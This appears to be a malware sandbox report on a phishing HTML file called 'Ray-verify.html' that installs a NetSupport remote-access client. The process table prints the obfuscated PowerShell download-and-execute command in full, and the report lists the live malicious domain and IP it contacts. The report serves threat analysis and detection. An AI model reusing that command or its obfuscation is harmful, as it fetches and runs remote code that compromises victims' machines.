| download: | /Ray-verify.html |
| Full analysis: | https://app.any.run/tasks/9031c238-248d-42c2-bb4a-6cc7971caf7c |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | October 21, 2024, 21:23:01 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/octet-stream |
| File info: | data |
| MD5: | 977BB6913B1F65A6472727EA4F362E97 |
| SHA1: | 1D1247A8F9359576C913E9586D72F0D51773B22C |
| SHA256: | CACE794532FFC2A8275C86E4248CA38CF85DFB209D630E05E049D6FE2047EA2E |
| SSDEEP: | 192:+YdzCOGbqUhwFRyC7lzBpi58Q0cW3O3AMw8+Ezgl02pmiV5ASidm4EcMvYf5:+YduOGPwFz7lzO58Q0m+0MnX4X |
MALICIOUS
Modifies registry (POWERSHELL)
- powershell.exe (PID: 2652)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 2652)
Starts POWERSHELL.EXE for commands execution
- iexplore.exe (PID: 3556)
Connects to the CnC server
- client32.exe (PID: 3732)
NETSUPPORT has been detected (SURICATA)
- client32.exe (PID: 3732)
SUSPICIOUS
Uses sleep to delay execution (POWERSHELL)
- powershell.exe (PID: 2652)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 2652)
Process uses IPCONFIG to clear DNS cache
- powershell.exe (PID: 2652)
Potential Corporate Privacy Violation
- powershell.exe (PID: 2652)
- client32.exe (PID: 3732)
Uses ATTRIB.EXE to modify file attributes
- cmd.exe (PID: 3776)
Executable content was dropped or overwritten
- powershell.exe (PID: 2652)
Process drops legitimate windows executable
- powershell.exe (PID: 2652)
Reads the Internet Settings
- client32.exe (PID: 3732)
- powershell.exe (PID: 2652)
The process drops C-runtime libraries
- powershell.exe (PID: 2652)
Reads security settings of Internet Explorer
- client32.exe (PID: 3732)
Obfuscated call of IEX
- powershell.exe (PID: 2652)
Probably obfuscated PowerShell command line is found
- iexplore.exe (PID: 3556)
Contacting a server suspected of hosting an CnC
- client32.exe (PID: 3732)
There is functionality for taking screenshot (YARA)
- client32.exe (PID: 3732)
There is functionality for communication over UDP network (YARA)
- client32.exe (PID: 3732)
Requests information from PasteBin
- iexplore.exe (PID: 3700)
Connects to the server without a host name
- client32.exe (PID: 3732)
INFO
The process uses the downloaded file
- iexplore.exe (PID: 1892)
- iexplore.exe (PID: 3556)
- powershell.exe (PID: 2652)
Disables trace logs
- powershell.exe (PID: 2652)
Application launched itself
- iexplore.exe (PID: 1892)
- iexplore.exe (PID: 3556)
Manual execution by a user
- wmpnscfg.exe (PID: 1756)
- notepad++.exe (PID: 1036)
Gets a random number, or selects objects randomly from a collection (POWERSHELL)
- powershell.exe (PID: 2652)
The executable file from the user directory is run by the Powershell process
- client32.exe (PID: 3732)
Drop NetSupport executable file
- powershell.exe (PID: 2652)
Sends debugging messages
- notepad++.exe (PID: 1036)
Checks supported languages
- client32.exe (PID: 3732)
- wmpnscfg.exe (PID: 1756)
Reads the machine GUID from the registry
- client32.exe (PID: 3732)
Checks proxy server information
- client32.exe (PID: 3732)
Reads the computer name
- wmpnscfg.exe (PID: 1756)
- client32.exe (PID: 3732)
Creates files or folders in the user directory
- client32.exe (PID: 3732)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .html | | | HyperText Markup Language (100) |
|---|
Total processes
53
Monitored processes
11
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 268 | "C:\Windows\system32\ipconfig.exe" /flushdns | C:\Windows\System32\ipconfig.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: IP Configuration Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1036 | "C:\Program Files\Notepad++\notepad++.exe" "C:\Users\admin\Desktop\Ray-verify.html" | C:\Program Files\Notepad++\notepad++.exe | explorer.exe | ||||||||||||
User: admin Company: Don HO don.h@free.fr Integrity Level: MEDIUM Description: Notepad++ : a free (GNU) source code editor Version: 7.91 Modules
| |||||||||||||||
| 1756 | "C:\Program Files\Windows Media Player\wmpnscfg.exe" | C:\Program Files\Windows Media Player\wmpnscfg.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Media Player Network Sharing Service Configuration Application Exit code: 0 Version: 12.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1892 | "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\admin\Desktop\Ray-verify.html | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 2128 | "C:\Windows\System32\MsSpellCheckingFacility.exe" -Embedding | C:\Windows\System32\MsSpellCheckingFacility.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Spell Checking Facility Version: 6.3.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 2652 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 3556 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:1892 CREDAT:144385 /prefetch:2 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 3672 | attrib +h C:\Users\admin\AppData\Roaming\KiJIYt | C:\Windows\System32\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Attribute Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3700 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:1892 CREDAT:333057 /prefetch:2 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 3732 | "C:\Users\admin\AppData\Roaming\KiJIYt\client32.exe" | C:\Users\admin\AppData\Roaming\KiJIYt\client32.exe | powershell.exe | ||||||||||||
User: admin Company: NetSupport Ltd Integrity Level: MEDIUM Description: NetSupport Client Application Version: V14.10 Modules
| |||||||||||||||
Total events
26 697
Read events
26 369
Write events
226
Delete events
102
Modification events
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing |
| Operation: | write | Name: | NTPDaysSinceLastAutoMigration |
Value: 1 | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing |
| Operation: | write | Name: | NTPLastLaunchLowDateTime |
Value: | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing |
| Operation: | write | Name: | NTPLastLaunchHighDateTime |
Value: 31138815 | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager |
| Operation: | write | Name: | NextCheckForUpdateLowDateTime |
Value: | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager |
| Operation: | write | Name: | NextCheckForUpdateHighDateTime |
Value: 31138815 | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main |
| Operation: | write | Name: | CompatibilityFlags |
Value: 0 | |||
| (PID) Process: | (1892) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
Executable files
8
Suspicious files
30
Text files
88
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1892 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10D | binary | |
MD5:E785F95C638F7D323756726F85F7B4F2 | SHA256:37BCC3175459F43768A5E6FC0C130601E16F45C0DBF56843CFA3D7E9A0CDF0AC | |||
| 1892 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\B6QGX7LP\favicon[1].ico | image | |
MD5:DA597791BE3B6E732F0BC8B20E38EE62 | SHA256:5B2C34B3C4E8DD898B664DBA6C3786E2FF9869EFF55D673AA48361F11325ED07 | |||
| 1892 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 | binary | |
MD5:11E8885EFE9D42B9AF8DCD5EED481821 | SHA256:3CE7F220DE851955A79D8465683E4336AD9076A87C244DD95BB5C78459D99411 | |||
| 1892 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\B6QGX7LP\favicon[2].ico | image | |
MD5:DA597791BE3B6E732F0BC8B20E38EE62 | SHA256:5B2C34B3C4E8DD898B664DBA6C3786E2FF9869EFF55D673AA48361F11325ED07 | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Roaming\KiJIYt\client32.ini | text | |
MD5:7C6854F484A279E9642D2DAA9FBB9993 | SHA256:11D81C68223FB9F7B0F6E67225AA6239A5BA84B2639294CF93B759FDCF30E35C | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Roaming\KiJIYt\msvcr100.dll | executable | |
MD5:0E37FBFA79D349D672456923EC5FBBE3 | SHA256:8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18 | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Roaming\KiJIYt\nskbfltr.inf | binary | |
MD5:26E28C01461F7E65C402BDF09923D435 | SHA256:D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368 | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Roaming\KiJIYt\HTCTL32.DLL | executable | |
MD5:2D3B207C8A48148296156E5725426C7F | SHA256:EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796 | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Roaming\KiJIYt\TCCTL32.DLL | executable | |
MD5:EAB603D12705752E3D268D86DFF74ED4 | SHA256:6795D760CE7A955DF6C2F5A062E296128EFDB8C908908EDA4D666926980447EA | |||
| 2652 | powershell.exe | C:\Users\admin\AppData\Local\Temp\fhvprryc.ile.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
35
TCP/UDP connections
51
DNS requests
30
Threats
32
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/1.png | unknown | — | — | unknown |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/2.png | unknown | — | — | unknown |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/3.png | unknown | — | — | unknown |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/6.png | unknown | — | — | unknown |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/7.png | unknown | — | — | unknown |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/4.png | unknown | — | — | unknown |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/9.png | unknown | — | — | unknown |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/8.png | unknown | — | — | unknown |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/12.png | unknown | — | — | unknown |
2652 | powershell.exe | GET | 200 | 166.1.160.211:80 | http://traversecityspringbreak.com/o/10.png | unknown | — | — | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 224.0.0.252:5355 | — | — | — | whitelisted |
2564 | svchost.exe | 239.255.255.250:3702 | — | — | — | whitelisted |
1060 | svchost.exe | 224.0.0.252:5355 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1892 | iexplore.exe | 92.123.104.34:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
1892 | iexplore.exe | 2.19.126.163:80 | ctldl.windowsupdate.com | Akamai International B.V. | DE | whitelisted |
1892 | iexplore.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
2652 | powershell.exe | 166.1.160.211:80 | traversecityspringbreak.com | SPRINTLINK | US | unknown |
3732 | client32.exe | 104.26.0.231:80 | geo.netsupportsoftware.com | CLOUDFLARENET | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
api.bing.com |
| whitelisted |
www.bing.com |
| whitelisted |
ctldl.windowsupdate.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
traversecityspringbreak.com |
| unknown |
geo.netsupportsoftware.com |
| unknown |
iecvlist.microsoft.com |
| whitelisted |
r20swj13mr.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2652 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2652 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2652 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2652 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2652 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2652 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2652 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2652 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2652 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2652 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
4 ETPRO signatures available at the full report
Process | Message |
|---|---|
notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\SciLexer.dll
|
notepad++.exe | VerifyLibrary: certificate revocation checking is disabled
|
notepad++.exe | ED255D9151912E40DF048A56288E969A8D0DAFA3
|
notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\updater\gup.exe
|
notepad++.exe | VerifyLibrary: certificate revocation checking is disabled
|
notepad++.exe | ED255D9151912E40DF048A56288E969A8D0DAFA3
|
notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\plugins\Config\nppPluginList.dll
|
notepad++.exe | VerifyLibrary: certificate revocation checking is disabled
|
notepad++.exe | ED255D9151912E40DF048A56288E969A8D0DAFA3
|
notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\updater\gup.exe
|